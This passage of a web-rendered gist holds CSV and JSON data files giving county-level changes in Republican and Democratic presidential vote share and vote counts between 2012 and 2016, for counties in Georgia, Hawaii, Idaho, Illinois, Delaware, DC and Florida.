&quot;Spalding, GA&quot;,&quot;13255&quot;,&quot;-0.500&quot;,-725,&quot;3.50&quot;,551,&quot;25081&quot;
&quot;Stephens, GA&quot;,&quot;13257&quot;,&quot;-2.90&quot;,-461,&quot;3.50&quot;,296,&quot;9489&quot;
&quot;Stewart, GA&quot;,&quot;13259&quot;,&quot;-3.10&quot;,-60,&quot;4.70&quot;,103,&quot;2076&quot;
&quot;Sumter, GA&quot;,&quot;13261&quot;,&quot;-2.50&quot;,103,&quot;3.90&quot;,855,&quot;11831&quot;
&quot;Talbot, GA&quot;,&quot;13263&quot;,&quot;-2.60&quot;,6,&quot;2.90&quot;,264,&quot;3491&quot;
&quot;Taliaferro, GA&quot;,&quot;13265&quot;,&quot;-5.50&quot;,-26,&quot;5.00&quot;,91,&quot;963&quot;
&quot;Tattnall, GA&quot;,&quot;13267&quot;,&quot;-3.40&quot;,-386,&quot;4.50&quot;,219,&quot;6665&quot;
&quot;Taylor, GA&quot;,&quot;13269&quot;,&quot;-5.90&quot;,-114,&quot;6.40&quot;,277,&quot;3538&quot;
&quot;Telfair, GA&quot;,&quot;13271&quot;,&quot;-7.80&quot;,31,&quot;6.60&quot;,492,&quot;4336&quot;
&quot;Terrell, GA&quot;,&quot;13273&quot;,&quot;-3.30&quot;,-38,&quot;3.80&quot;,277,&quot;4398&quot;
&quot;Thomas, GA&quot;,&quot;13275&quot;,&quot;-1.10&quot;,-69,&quot;2.40&quot;,515,&quot;18948&quot;
&quot;Tift, GA&quot;,&quot;13277&quot;,&quot;-2.00&quot;,505,&quot;3.50&quot;,768,&quot;13927&quot;
&quot;Toombs, GA&quot;,&quot;13279&quot;,&quot;-3.20&quot;,-88,&quot;3.40&quot;,408,&quot;9344&quot;
&quot;Towns, GA&quot;,&quot;13281&quot;,&quot;-1.50&quot;,-501,&quot;2.50&quot;,67,&quot;6211&quot;
&quot;Treutlen, GA&quot;,&quot;13283&quot;,&quot;-6.90&quot;,-156,&quot;7.10&quot;,214,&quot;2750&quot;
&quot;Troup, GA&quot;,&quot;13285&quot;,&quot;-2.60&quot;,-464,&quot;3.60&quot;,950,&quot;25986&quot;
&quot;Turner, GA&quot;,&quot;13287&quot;,&quot;-5.00&quot;,-66,&quot;5.40&quot;,267,&quot;3559&quot;
&quot;Twiggs, GA&quot;,&quot;13289&quot;,&quot;-4.60&quot;,-127,&quot;5.00&quot;,300,&quot;4202&quot;
&quot;Union, GA&quot;,&quot;13291&quot;,&quot;-2.80&quot;,-1076,&quot;3.30&quot;,177,&quot;11076&quot;
&quot;Upson, GA&quot;,&quot;13293&quot;,&quot;-2.80&quot;,-58,&quot;3.20&quot;,488,&quot;11263&quot;
&quot;Walker, GA&quot;,&quot;13295&quot;,&quot;-4.80&quot;,-2691,&quot;6.10&quot;,1061,&quot;21886&quot;
&quot;Walton, GA&quot;,&quot;13297&quot;,&quot;0.200&quot;,-2057,&quot;1.70&quot;,-131,&quot;37597&quot;
&quot;Ware, GA&quot;,&quot;13299&quot;,&quot;-3.50&quot;,-567,&quot;4.70&quot;,464,&quot;11939&quot;
&quot;Warren, GA&quot;,&quot;13301&quot;,&quot;-2.80&quot;,-1,&quot;4.50&quot;,216,&quot;2526&quot;
&quot;Washington, GA&quot;,&quot;13303&quot;,&quot;-3.20&quot;,-103,&quot;3.50&quot;,527,&quot;8807&quot;
&quot;Wayne, GA&quot;,&quot;13305&quot;,&quot;-5.40&quot;,-590,&quot;5.30&quot;,557,&quot;10264&quot;
&quot;Webster, GA&quot;,&quot;13307&quot;,&quot;-6.40&quot;,-29,&quot;7.00&quot;,111,&quot;1187&quot;
&quot;Wheeler, GA&quot;,&quot;13309&quot;,&quot;-4.80&quot;,-55,&quot;4.70&quot;,126,&quot;2160&quot;
&quot;White, GA&quot;,&quot;13311&quot;,&quot;-0.400&quot;,-1100,&quot;2.00&quot;,-1,&quot;10476&quot;
&quot;Whitfield, GA&quot;,&quot;13313&quot;,&quot;0.900&quot;,-2209,&quot;0.800&quot;,-715,&quot;26861&quot;
&quot;Wilcox, GA&quot;,&quot;13315&quot;,&quot;-5.40&quot;,-43,&quot;4.90&quot;,208,&quot;3128&quot;
&quot;Wilkes, GA&quot;,&quot;13317&quot;,&quot;-1.70&quot;,66,&quot;2.80&quot;,243,&quot;4761&quot;
&quot;Wilkinson, GA&quot;,&quot;13319&quot;,&quot;-4.50&quot;,-86,&quot;5.00&quot;,288,&quot;4450&quot;
&quot;Worth, GA&quot;,&quot;13321&quot;,&quot;-4.30&quot;,-275,&quot;5.60&quot;,472,&quot;8416&quot;
&quot;Hawaii, HI&quot;,&quot;15001&quot;,&quot;-3.80&quot;,-2747,&quot;10.4&quot;,5966,&quot;63454&quot;
&quot;Honolulu, HI&quot;,&quot;15003&quot;,&quot;-2.20&quot;,-1757,&quot;7.90&quot;,29107,&quot;297218&quot;
&quot;Kauai, HI&quot;,&quot;15007&quot;,&quot;-4.90&quot;,-1453,&quot;11.5&quot;,2185,&quot;25372&quot;
&quot;Maui, HI&quot;,&quot;15009&quot;,&quot;-2.20&quot;,-1843,&quot;10.1&quot;,2573,&quot;48653&quot;
&quot;Ada, ID&quot;,&quot;16001&quot;,&quot;6.00&quot;,3806,&quot;3.70&quot;,1461,&quot;180546&quot;
&quot;Adams, ID&quot;,&quot;16003&quot;,&quot;-2.40&quot;,-143,&quot;9.00&quot;,162,&quot;2060&quot;
&quot;Bannock, ID&quot;,&quot;16005&quot;,&quot;8.60&quot;,3830,&quot;6.50&quot;,2872,&quot;35260&quot;
&quot;Bear Lake, ID&quot;,&quot;16007&quot;,&quot;13.2&quot;,286,&quot;1.70&quot;,47,&quot;2822&quot;
&quot;Benewah, ID&quot;,&quot;16009&quot;,&quot;-7.20&quot;,-505,&quot;11.0&quot;,384,&quot;3884&quot;
&quot;Bingham, ID&quot;,&quot;16011&quot;,&quot;10.4&quot;,2533,&quot;3.70&quot;,898,&quot;17603&quot;
&quot;Blaine, ID&quot;,&quot;16013&quot;,&quot;7.60&quot;,599,&quot;-1.20&quot;,-424,&quot;10194&quot;
&quot;Boise, ID&quot;,&quot;16015&quot;,&quot;-3.70&quot;,-389,&quot;10.6&quot;,276,&quot;3445&quot;
&quot;Bonner, ID&quot;,&quot;16017&quot;,&quot;0.300&quot;,1147,&quot;4.10&quot;,1360,&quot;18536&quot;
&quot;Bonneville, ID&quot;,&quot;16019&quot;,&quot;14.7&quot;,5577,&quot;2.90&quot;,973,&quot;43213&quot;
&quot;Boundary, ID&quot;,&quot;16021&quot;,&quot;-4.90&quot;,-651,&quot;9.00&quot;,292,&quot;4544&quot;
&quot;Butte, ID&quot;,&quot;16023&quot;,&quot;3.80&quot;,87,&quot;7.10&quot;,98,&quot;1286&quot;
&quot;Camas, ID&quot;,&quot;16025&quot;,&quot;1.60&quot;,-8,&quot;9.50&quot;,49,&quot;578&quot;
&quot;Canyon, ID&quot;,&quot;16027&quot;,&quot;2.10&quot;,-2386,&quot;7.10&quot;,3183,&quot;66090&quot;
&quot;Caribou, ID&quot;,&quot;16029&quot;,&quot;10.5&quot;,333,&quot;3.60&quot;,115,&quot;3052&quot;
&quot;Cassia, ID&quot;,&quot;16031&quot;,&quot;12.2&quot;,1205,&quot;0.100&quot;,62,&quot;8396&quot;
&quot;Clark, ID&quot;,&quot;16033&quot;,&quot;-0.400&quot;,32,&quot;4.10&quot;,22,&quot;328&quot;
&quot;Clearwater, ID&quot;,&quot;16035&quot;,&quot;-6.20&quot;,-311,&quot;8.90&quot;,328,&quot;3696&quot;
&quot;Custer, ID&quot;,&quot;16037&quot;,&quot;0.100&quot;,-33,&quot;4.50&quot;,103,&quot;2352&quot;
&quot;Elmore, ID&quot;,&quot;16039&quot;,&quot;-2.70&quot;,-589,&quot;10.4&quot;,699,&quot;8001&quot;
&quot;Franklin, ID&quot;,&quot;16041&quot;,&quot;21.8&quot;,1294,&quot;-1.20&quot;,-60,&quot;5600&quot;
&quot;Fremont, ID&quot;,&quot;16043&quot;,&quot;12.6&quot;,816,&quot;3.00&quot;,159,&quot;5802&quot;
&quot;Gem, ID&quot;,&quot;16045&quot;,&quot;-4.10&quot;,-669,&quot;11.1&quot;,728,&quot;7490&quot;
&quot;Gooding, ID&quot;,&quot;16047&quot;,&quot;0.200&quot;,-47,&quot;7.10&quot;,357,&quot;5118&quot;
&quot;Idaho County, ID&quot;,&quot;16049&quot;,&quot;-2.40&quot;,-520,&quot;6.80&quot;,512,&quot;7837&quot;
&quot;Jefferson, ID&quot;,&quot;16051&quot;,&quot;12.9&quot;,1459,&quot;2.40&quot;,327,&quot;11381&quot;
&quot;Jerome, ID&quot;,&quot;16053&quot;,&quot;2.90&quot;,-2543,&quot;5.40&quot;,-418,&quot;6681&quot;
&quot;Kootenai, ID&quot;,&quot;16055&quot;,&quot;-1.20&quot;,-5068,&quot;6.50&quot;,2587,&quot;59828&quot;
&quot;Latah, ID&quot;,&quot;16057&quot;,&quot;5.30&quot;,334,&quot;4.60&quot;,213,&quot;16759&quot;
&quot;Lemhi, ID&quot;,&quot;16059&quot;,&quot;-0.300&quot;,18,&quot;5.40&quot;,227,&quot;4110&quot;
&quot;Lewis, ID&quot;,&quot;16061&quot;,&quot;-3.30&quot;,-29,&quot;7.50&quot;,126,&quot;1614&quot;
&quot;Lincoln, ID&quot;,&quot;16063&quot;,&quot;0.700&quot;,-43,&quot;7.20&quot;,109,&quot;1662&quot;
&quot;Madison, ID&quot;,&quot;16065&quot;,&quot;36.3&quot;,4504,&quot;-2.20&quot;,-369,&quot;14412&quot;
&quot;Minidoka, ID&quot;,&quot;16067&quot;,&quot;7.00&quot;,555,&quot;2.90&quot;,223,&quot;6973&quot;
&quot;Nez Perce, ID&quot;,&quot;16069&quot;,&quot;-2.80&quot;,-732,&quot;10.3&quot;,1623,&quot;16848&quot;
&quot;Oneida, ID&quot;,&quot;16071&quot;,&quot;14.0&quot;,307,&quot;1.40&quot;,33,&quot;2089&quot;
&quot;Owyhee, ID&quot;,&quot;16073&quot;,&quot;-3.00&quot;,-258,&quot;7.40&quot;,242,&quot;3724&quot;
&quot;Payette, ID&quot;,&quot;16075&quot;,&quot;-5.30&quot;,1698,&quot;10.7&quot;,1379,&quot;8495&quot;
&quot;Power, ID&quot;,&quot;16077&quot;,&quot;4.40&quot;,204,&quot;8.80&quot;,283,&quot;2903&quot;
&quot;Shoshone, ID&quot;,&quot;16079&quot;,&quot;-11.6&quot;,-598,&quot;17.2&quot;,893,&quot;5148&quot;
&quot;Teton, ID&quot;,&quot;16081&quot;,&quot;10.3&quot;,297,&quot;-0.400&quot;,-231,&quot;4523&quot;
&quot;Twin Falls, ID&quot;,&quot;16083&quot;,&quot;4.30&quot;,-1290,&quot;5.80&quot;,697,&quot;28142&quot;
&quot;Valley, ID&quot;,&quot;16085&quot;,&quot;0.200&quot;,-242,&quot;6.60&quot;,182,&quot;4919&quot;
&quot;Washington, ID&quot;,&quot;16087&quot;,&quot;-1.80&quot;,-155,&quot;8.50&quot;,328,&quot;4330&quot;
&quot;Adams, IL&quot;,&quot;17001&quot;,&quot;-5.30&quot;,-2316,&quot;7.50&quot;,2015,&quot;30606&quot;
&quot;Alexander, IL&quot;,&quot;17003&quot;,&quot;-10.5&quot;,-9,&quot;11.1&quot;,703,&quot;3501&quot;
&quot;Bond, IL&quot;,&quot;17005&quot;,&quot;-9.10&quot;,-789,&quot;13.2&quot;,954,&quot;7325&quot;
&quot;Boone, IL&quot;,&quot;17007&quot;,&quot;-2.10&quot;,-1165,&quot;6.30&quot;,931,&quot;21360&quot;
&quot;Brown, IL&quot;,&quot;17009&quot;,&quot;-12.0&quot;,-263,&quot;13.3&quot;,312,&quot;2364&quot;
&quot;Bureau, IL&quot;,&quot;17011&quot;,&quot;-7.90&quot;,-1100,&quot;11.9&quot;,2124,&quot;16630&quot;
&quot;Calhoun, IL&quot;,&quot;17013&quot;,&quot;-11.1&quot;,-279,&quot;12.9&quot;,341,&quot;2576&quot;
&quot;Carroll, IL&quot;,&quot;17015&quot;,&quot;-11.8&quot;,-873,&quot;16.6&quot;,1228,&quot;7382&quot;
&quot;Cass, IL&quot;,&quot;17017&quot;,&quot;-8.30&quot;,-509,&quot;10.2&quot;,436,&quot;4861&quot;
&quot;Champaign, IL&quot;,&quot;17019&quot;,&quot;8.10&quot;,2077,&quot;-3.90&quot;,-8863,&quot;78333&quot;
&quot;Christian, IL&quot;,&quot;17021&quot;,&quot;-8.60&quot;,-1637,&quot;11.4&quot;,1512,&quot;14701&quot;
&quot;Clark, IL&quot;,&quot;17023&quot;,&quot;-6.50&quot;,-476,&quot;9.00&quot;,718,&quot;7855&quot;
&quot;Clay, IL&quot;,&quot;17025&quot;,&quot;-9.10&quot;,-819,&quot;10.8&quot;,570,&quot;5908&quot;
&quot;Clinton, IL&quot;,&quot;17027&quot;,&quot;-8.00&quot;,-1870,&quot;11.0&quot;,1657,&quot;16445&quot;
&quot;Coles, IL&quot;,&quot;17029&quot;,&quot;-5.50&quot;,-1354,&quot;9.40&quot;,1977,&quot;21358&quot;
&quot;Cook, IL&quot;,&quot;17031&quot;,&quot;11.6&quot;,368205,&quot;-10.0&quot;,640216,&quot;2011256&quot;
&quot;Crawford, IL&quot;,&quot;17033&quot;,&quot;-7.10&quot;,-561,&quot;10.2&quot;,889,&quot;8609&quot;
&quot;Cumberland, IL&quot;,&quot;17035&quot;,&quot;-9.70&quot;,-691,&quot;12.0&quot;,613</code></pre><p><em>Truncated — <a href="https://gist.github.com/e2f37a2ce5f3be45b09fbdd427f75ba7">view the full gist</a>.</em></p>
<h3>2012-2016_P_differenceresults-bycounty-flat.json</h3><pre><code class="language-json">[
  {
    &quot;name&quot;: &quot;Kent, DE&quot;,
    &quot;fips&quot;: &quot;10001&quot;,
    &quot;totalVotes&quot;: &quot;68672&quot;,
    &quot;repDiffPercent&quot;: &quot;-3.20&quot;,
    &quot;repDiffVotes&quot;: -4854,
    &quot;demDiffPercent&quot;: &quot;6.70&quot;,
    &quot;demDiffVotes&quot;: 2180
  },
  {
    &quot;name&quot;: &quot;New Castle, DE&quot;,
    &quot;fips&quot;: &quot;10003&quot;,
    &quot;totalVotes&quot;: &quot;251996&quot;,
    &quot;repDiffPercent&quot;: &quot;-0.800&quot;,
    &quot;repDiffVotes&quot;: -4277,
    &quot;demDiffPercent&quot;: &quot;4.30&quot;,
    &quot;demDiffVotes&quot;: 4177
  },
  {
    &quot;name&quot;: &quot;Sussex, DE&quot;,
    &quot;fips&quot;: &quot;10005&quot;,
    &quot;totalVotes&quot;: &quot;93222&quot;,
    &quot;repDiffPercent&quot;: &quot;-3.10&quot;,
    &quot;repDiffVotes&quot;: -10488,
    &quot;demDiffPercent&quot;: &quot;5.90&quot;,
    &quot;demDiffVotes&quot;: 646
  },
  {
    &quot;name&quot;: &quot;District of Columbia, DC&quot;,
    &quot;fips&quot;: &quot;11001&quot;,
    &quot;totalVotes&quot;: &quot;292992&quot;,
    &quot;repDiffPercent&quot;: &quot;3.30&quot;,
    &quot;repDiffVotes&quot;: 9828,
    &quot;demDiffPercent&quot;: &quot;-1.80&quot;,
    &quot;demDiffVotes&quot;: 6847
  },
  {
    &quot;name&quot;: &quot;Alachua, FL&quot;,
    &quot;fips&quot;: &quot;12001&quot;,
    &quot;totalVotes&quot;: &quot;120417&quot;,
    &quot;repDiffPercent&quot;: &quot;4.50&quot;,
    &quot;repDiffVotes&quot;: 2213,
    &quot;demDiffPercent&quot;: &quot;-1.10&quot;,
    &quot;demDiffVotes&quot;: -5671
  },
  {
    &quot;name&quot;: &quot;Baker, FL&quot;,
    &quot;fips&quot;: &quot;12003&quot;,
    &quot;totalVotes&quot;: &quot;11368&quot;,
    &quot;repDiffPercent&quot;: &quot;-2.10&quot;,
    &quot;repDiffVotes&quot;: -1319,
    &quot;demDiffPercent&quot;: &quot;3.30&quot;,
    &quot;demDiffVotes&quot;: 199
  },
  {
    &quot;name&quot;: &quot;Bay, FL&quot;,
    &quot;fips&quot;: &quot;12005&quot;,
    &quot;totalVotes&quot;: &quot;79861&quot;,
    &quot;repDiffPercent&quot;: &quot;0.200&quot;,
    &quot;repDiffVotes&quot;: -5134,
    &quot;demDiffPercent&quot;: &quot;2.60&quot;,
    &quot;demDiffVotes&quot;: 362
  },
  {
    &quot;name&quot;: &quot;Bradford, FL&quot;,
    &quot;fips&quot;: &quot;12007&quot;,
    &quot;totalVotes&quot;: &quot;11635&quot;,
    &quot;repDiffPercent&quot;: &quot;-3.40&quot;,
    &quot;repDiffVotes&quot;: -694,
    &quot;demDiffPercent&quot;: &quot;4.60&quot;,
    &quot;demDiffVotes&quot;: 401
  },
  {
    &quot;name&quot;: &quot;Brevard, FL&quot;,
    &quot;fips&quot;: &quot;12009&quot;,
    &quot;totalVotes&quot;: &quot;285559&quot;,
    &quot;repDiffPercent&quot;: &quot;-2.20&quot;,
    &quot;repDiffVotes&quot;: -22320,
    &quot;demDiffPercent&quot;: &quot;5.10&quot;,
    &quot;demDiffVotes&quot;: 3468
  },
  {
    &quot;name&quot;: &quot;Broward, FL&quot;,
    &quot;fips&quot;: &quot;12011&quot;,
    &quot;totalVotes&quot;: &quot;756422&quot;,
    &quot;repDiffPercent&quot;: &quot;1.30&quot;,
    &quot;repDiffVotes&quot;: -14420,
    &quot;demDiffPercent&quot;: &quot;1.20&quot;,
    &quot;demDiffVotes&quot;: -38644
  },
  {
    &quot;name&quot;: &quot;Calhoun, FL&quot;,
    &quot;fips&quot;: &quot;12013&quot;,
    &quot;totalVotes&quot;: &quot;6152&quot;,
    &quot;repDiffPercent&quot;: &quot;-6.00&quot;,
    &quot;repDiffVotes&quot;: -281,
    &quot;demDiffPercent&quot;: &quot;7.00&quot;,
    &quot;demDiffVotes&quot;: 428
  },
  {
    &quot;name&quot;: &quot;Charlotte, FL&quot;,
    &quot;fips&quot;: &quot;12015&quot;,
    &quot;totalVotes&quot;: &quot;84682&quot;,
    &quot;repDiffPercent&quot;: &quot;-5.30&quot;,
    &quot;repDiffVotes&quot;: -12200,
    &quot;demDiffPercent&quot;: &quot;7.40&quot;,
    &quot;demDiffVotes&quot;: 2485
  },
  {
    &quot;name&quot;: &quot;Citrus, FL&quot;,
    &quot;fips&quot;: &quot;12017&quot;,
    &quot;totalVotes&quot;: &quot;73935&quot;,
    &quot;repDiffPercent&quot;: &quot;-7.60&quot;,
    &quot;repDiffVotes&quot;: -9715,
    &quot;demDiffPercent&quot;: &quot;9.50&quot;,
    &quot;demDiffVotes&quot;: 5695
  },
  {
    &quot;name&quot;: &quot;Clay, FL&quot;,
    &quot;fips&quot;: &quot;12019&quot;,
    &quot;totalVotes&quot;: &quot;96589&quot;,
    &quot;repDiffPercent&quot;: &quot;2.50&quot;,
    &quot;repDiffVotes&quot;: -4876,
    &quot;demDiffPercent&quot;: &quot;0.700&quot;,
    &quot;demDiffVotes&quot;: -2009
  },
  {
    &quot;name&quot;: &quot;Collier, FL&quot;,
    &quot;fips&quot;: &quot;12021&quot;,
    &quot;totalVotes&quot;: &quot;149112&quot;,
    &quot;repDiffPercent&quot;: &quot;2.70&quot;,
    &quot;repDiffVotes&quot;: -8777,
    &quot;demDiffPercent&quot;: &quot;-1.30&quot;,
    &quot;demDiffVotes&quot;: -9243
  },
  {
    &quot;name&quot;: &quot;Columbia, FL&quot;,
    &quot;fips&quot;: &quot;12023&quot;,
    &quot;totalVotes&quot;: &quot;27163&quot;,
    &quot;repDiffPercent&quot;: &quot;-3.20&quot;,
    &quot;repDiffVotes&quot;: -1930,
    &quot;demDiffPercent&quot;: &quot;5.20&quot;,
    &quot;demDiffVotes&quot;: 863
  },
  {
    &quot;name&quot;: &quot;DeSoto, FL&quot;,
    &quot;fips&quot;: &quot;12027&quot;,
    &quot;totalVotes&quot;: &quot;9863&quot;,
    &quot;repDiffPercent&quot;: &quot;-6.40&quot;,
    &quot;repDiffVotes&quot;: -1157,
    &quot;demDiffPercent&quot;: &quot;7.30&quot;,
    &quot;demDiffVotes&quot;: 413
  },
  {
    &quot;name&quot;: &quot;Dixie, FL&quot;,
    &quot;fips&quot;: &quot;12029&quot;,
    &quot;totalVotes&quot;: &quot;6941&quot;,
    &quot;repDiffPercent&quot;: &quot;-8.20&quot;,
    &quot;repDiffVotes&quot;: -770,
    &quot;demDiffPercent&quot;: &quot;7.90&quot;,
    &quot;demDiffVotes&quot;: 528
  },
  {
    &quot;name&quot;: &quot;Duval, FL&quot;,
    &quot;fips&quot;: &quot;12031&quot;,
    &quot;totalVotes&quot;: &quot;411847&quot;,
    &quot;repDiffPercent&quot;: &quot;2.40&quot;,
    &quot;repDiffVotes&quot;: 1554,
    &quot;demDiffPercent&quot;: &quot;0.800&quot;,
    &quot;demDiffVotes&quot;: -6890
  },
  {
    &quot;name&quot;: &quot;Escambia, FL&quot;,
    &quot;fips&quot;: &quot;12033&quot;,
    &quot;totalVotes&quot;: &quot;148502&quot;,
    &quot;repDiffPercent&quot;: &quot;1.70&quot;,
    &quot;repDiffVotes&quot;: 341,
    &quot;demDiffPercent&quot;: &quot;1.20&quot;,
    &quot;demDiffVotes&quot;: 1071
  },
  {
    &quot;name&quot;: &quot;Flagler, FL&quot;,
    &quot;fips&quot;: &quot;12035&quot;,
    &quot;totalVotes&quot;: &quot;50595&quot;,
    &quot;repDiffPercent&quot;: &quot;-5.70&quot;,
    &quot;repDiffVotes&quot;: -6835,
    &quot;demDiffPercent&quot;: &quot;7.90&quot;,
    &quot;demDiffVotes&quot;: 1222
  },
  {
    &quot;name&quot;: &quot;Franklin, FL&quot;,
    &quot;fips&quot;: &quot;12037&quot;,
    &quot;totalVotes&quot;: &quot;5474&quot;,
    &quot;repDiffPercent&quot;: &quot;-3.80&quot;,
    &quot;repDiffVotes&quot;: -549,
    &quot;demDiffPercent&quot;: &quot;4.70&quot;,
    &quot;demDiffVotes&quot;: 107
  },
  {
    &quot;name&quot;: &quot;Gadsden, FL&quot;,
    &quot;fips&quot;: &quot;12039&quot;,
    &quot;totalVotes&quot;: &quot;22499&quot;,
    &quot;repDiffPercent&quot;: &quot;-0.500&quot;,
    &quot;repDiffVotes&quot;: -91,
    &quot;demDiffPercent&quot;: &quot;2.10&quot;,
    &quot;demDiffVotes&quot;: 776
  },
  {
    &quot;name&quot;: &quot;Gilchrist, FL&quot;,
    &quot;fips&quot;: &quot;12041&quot;,
    &quot;totalVotes&quot;: &quot;7908&quot;,
    &quot;repDiffPercent&quot;: &quot;-5.20&quot;,
    &quot;repDiffVotes&quot;: -823,
    &quot;demDiffPercent&quot;: &quot;6.80&quot;,
    &quot;demDiffVotes&quot;: 428
  },
  {
    &quot;name&quot;: &quot;Glades, FL&quot;,
    &quot;fips&quot;: &quot;12043&quot;,
    &quot;totalVotes&quot;: &quot;3989&quot;,
    &quot;repDiffPercent&quot;: &quot;-10.2&quot;,
    &quot;repDiffVotes&quot;: -652,
    &quot;demDiffPercent&quot;: &quot;11.2&quot;,
    &quot;demDiffVotes&quot;: 332
  },
  {
    &quot;name&quot;: &quot;Gulf, FL&quot;,
    &quot;fips&quot;: &quot;12045&quot;,
    &quot;totalVotes&quot;: &quot;7108&quot;,
    &quot;repDiffPercent&quot;: &quot;-2.70&quot;,
    &quot;repDiffVotes&quot;: -325,
    &quot;demDiffPercent&quot;: &quot;4.30&quot;,
    &quot;demDiffVotes&quot;: 299
  },
  {
    &quot;name&quot;: &quot;Hamilton, FL&quot;,
    &quot;fips&quot;: &quot;12047&quot;,
    &quot;totalVotes&quot;: &quot;5407&quot;,
    &quot;repDiffPercent&quot;: &quot;-5.00&quot;,
    &quot;repDiffVotes&quot;: -301,
    &quot;demDiffPercent&quot;: &quot;6.20&quot;,
    &quot;demDiffVotes&quot;: 329
  },
  {
    &quot;name&quot;: &quot;Hardee, FL&quot;,
    &quot;fips&quot;: &quot;12049&quot;,
    &quot;totalVotes&quot;: &quot;7226&quot;,
    &quot;repDiffPercent&quot;: &quot;-4.00&quot;,
    &quot;repDiffVotes&quot;: -542,
    &quot;demDiffPercent&quot;: &quot;6.10&quot;,
    &quot;demDiffVotes&quot;: 316
  },
  {
    &quot;name&quot;: &quot;Hendry, FL&quot;,
    &quot;fips&quot;: &quot;12051&quot;,
    &quot;totalVotes&quot;: &quot;10185&quot;,
    &quot;repDiffPercent&quot;: &quot;-3.40&quot;,
    &quot;repDiffVotes&quot;: -837,
    &quot;demDiffPercent&quot;: &quot;4.60&quot;,
    &quot;demDiffVotes&quot;: 141
  },
  {
    &quot;name&quot;: &quot;Hernando, FL&quot;,
    &quot;fips&quot;: &quot;12053&quot;,
    &quot;totalVotes&quot;: &quot;83667&quot;,
    &quot;repDiffPercent&quot;: &quot;-9.30&quot;,
    &quot;repDiffVotes&quot;: -14091,
    &quot;demDiffPercent&quot;: &quot;11.2&quot;,
    &quot;demDiffVotes&quot;: 6012
  },
  {
    &quot;name&quot;: &quot;Highlands, FL&quot;,
    &quot;fips&quot;: &quot;12055&quot;,
    &quot;totalVotes&quot;: &quot;42444&quot;,
    &quot;repDiffPercent&quot;: &quot;-3.90&quot;,
    &quot;repDiffVotes&quot;: -3594,
    &quot;demDiffPercent&quot;: &quot;5.00&quot;,
    &quot;demDiffVotes&quot;: 1247
  },
  {
    &quot;name&quot;: &quot;Hillsborough, FL&quot;,
    &quot;fips&quot;: &quot;12057&quot;,
    &quot;totalVotes&quot;: &quot;542102&quot;,
    &quot;repDiffPercent&quot;: &quot;1.20&quot;,
    &quot;repDiffVotes&quot;: -15742,
    &quot;demDiffPercent&quot;: &quot;1.80&quot;,
    &quot;demDiffVotes&quot;: -19955
  },
  {
    &quot;name&quot;: &quot;Holmes, FL&quot;,
    &quot;fips&quot;: &quot;12059&quot;,
    &quot;totalVotes&quot;: &quot;8274&quot;,
    &quot;repDiffPercent&quot;: &quot;-4.40&quot;,
    &quot;repDiffVotes&quot;: -557,
    &quot;demDiffPercent&quot;: &quot;5.30&quot;,
    &quot;demDiffVotes&quot;: 412
  },
  {
    &quot;name&quot;: &quot;Indian River, FL&quot;,
    &quot;fips&quot;: &quot;12061&quot;,
    &quot;totalVotes&quot;: &quot;71464&quot;,
    &quot;repDiffPercent&quot;: &quot;-0.200&quot;,
    &quot;repDiffVotes&quot;: -5114,
    &quot;demDiffPercent&quot;: &quot;2.50&quot;,
    &quot;demDiffVotes&quot;: -1505
  },
  {
    &quot;name&quot;: &quot;Jackson, FL&quot;,
    &quot;fips&quot;: &quot;12063&quot;,
    &quot;totalVotes&quot;: &quot;20941&quot;,
    &quot;repDiffPercent&quot;: &quot;-3.90&quot;,
    &quot;repDiffVotes&quot;: -813,
    &quot;demDiffPercent&quot;: &quot;5.10&quot;,
    &quot;demDiffVotes&quot;: 959
  },
  {
    &quot;name&quot;: &quot;Jefferson, FL&quot;,
    &quot;fips&quot;: &quot;12065&quot;,
    &quot;totalVotes&quot;: &quot;7808&quot;,
    &quot;repDiffPercent&quot;: &quot;-2.20&quot;,
    &quot;repDiffVotes&quot;: -122,
    &quot;demDiffPercent&quot;: &quot;4.50&quot;,
    &quot;demDiffVotes&quot;: 408
  },
  {
    &quot;name&quot;: &quot;Lafayette, FL&quot;,
    &quot;fips&quot;: &quot;12067&quot;,
    &quot;totalVotes&quot;: &quot;3399&quot;,
    &quot;repDiffPercent&quot;: &quot;-4.50&quot;,
    &quot;repDiffVotes&quot;: -127,
    &quot;demDiffPercent&quot;: &quot;5.20&quot;,
    &quot;demDiffVotes&quot;: 172
  },
  {
    &quot;name&quot;: &quot;Lake, FL&quot;,
    &quot;fips&quot;: &quot;12069&quot;,
    &quot;totalVotes&quot;: &quot;150811&quot;,
    &quot;repDiffPercent&quot;: &quot;-1.90&quot;,
    &quot;repDiffVotes&quot;: -14245,
    &quot;demDiffPercent&quot;: &quot;4.00&quot;,
    &quot;demDiffVotes&quot;: -798
  },
  {
    &quot;name&quot;: &quot;Lee, FL&quot;,
    &quot;fips&quot;: &quot;12071&quot;,
    &quot;totalVotes&quot;: &quot;266165&quot;,
    &quot;repDiffPercent&quot;: &quot;-1.10&quot;,
    &quot;repDiffVotes&quot;: -36978,
    &quot;demDiffPercent&quot;: &quot;3.40&quot;,
    &quot;demDiffVotes&quot;: -14568
  },
  {
    &quot;name&quot;: &quot;Leon, FL&quot;,
    &quot;fips&quot;: &quot;12073&quot;,
    &quot;totalVotes&quot;: &quot;148353&quot;,
    &quot;repDiffPercent&quot;: &quot;2.60&quot;,
    &quot;repDiffVotes&quot;: 2028,
    &quot;demDiffPercent&quot;: &quot;0.300&quot;,
    &quot;demDiffVotes&quot;: -1055
  },
  {
    &quot;name&quot;: &quot;Levy, FL&quot;,
    &quot;fips&quot;: &quot;12075&quot;,
    &quot;totalVotes&quot;: &quot;18399&quot;,
    &quot;repDiffPercent&quot;: &quot;-5.50&quot;,
    &quot;repDiffVotes&quot;: -1704,
    &quot;demDiffPercent&quot;: &quot;7.30&quot;,
    &quot;demDiffVotes&quot;: 1028
  },
  {
    &quot;name&quot;: &quot;Liberty, FL&quot;,
    &quot;fips&quot;: &quot;12077&quot;,
    &quot;totalVotes&quot;: &quot;3284&quot;,
    &quot;repDiffPercent&quot;: &quot;-6.90&quot;,
    &quot;repDiffVotes&quot;: -241,
    &quot;demDiffPercent&quot;: &quot;8.70&quot;,
    &quot;demDiffVotes&quot;: 291
  },
  {
    &quot;name&quot;: &quot;Madison, FL&quot;,
    &quot;fips&quot;: &quot;12079&quot;,
    &quot;totalVotes&quot;: &quot;8714&quot;,
    &quot;repDiffPercent&quot;: &quot;-5.70&quot;,
    &quot;repDiffVotes&quot;: -375,
    &quot;demDiffPercent&quot;: &quot;6.90&quot;,
    &quot;demDiffVotes&quot;: 650
  },
  {
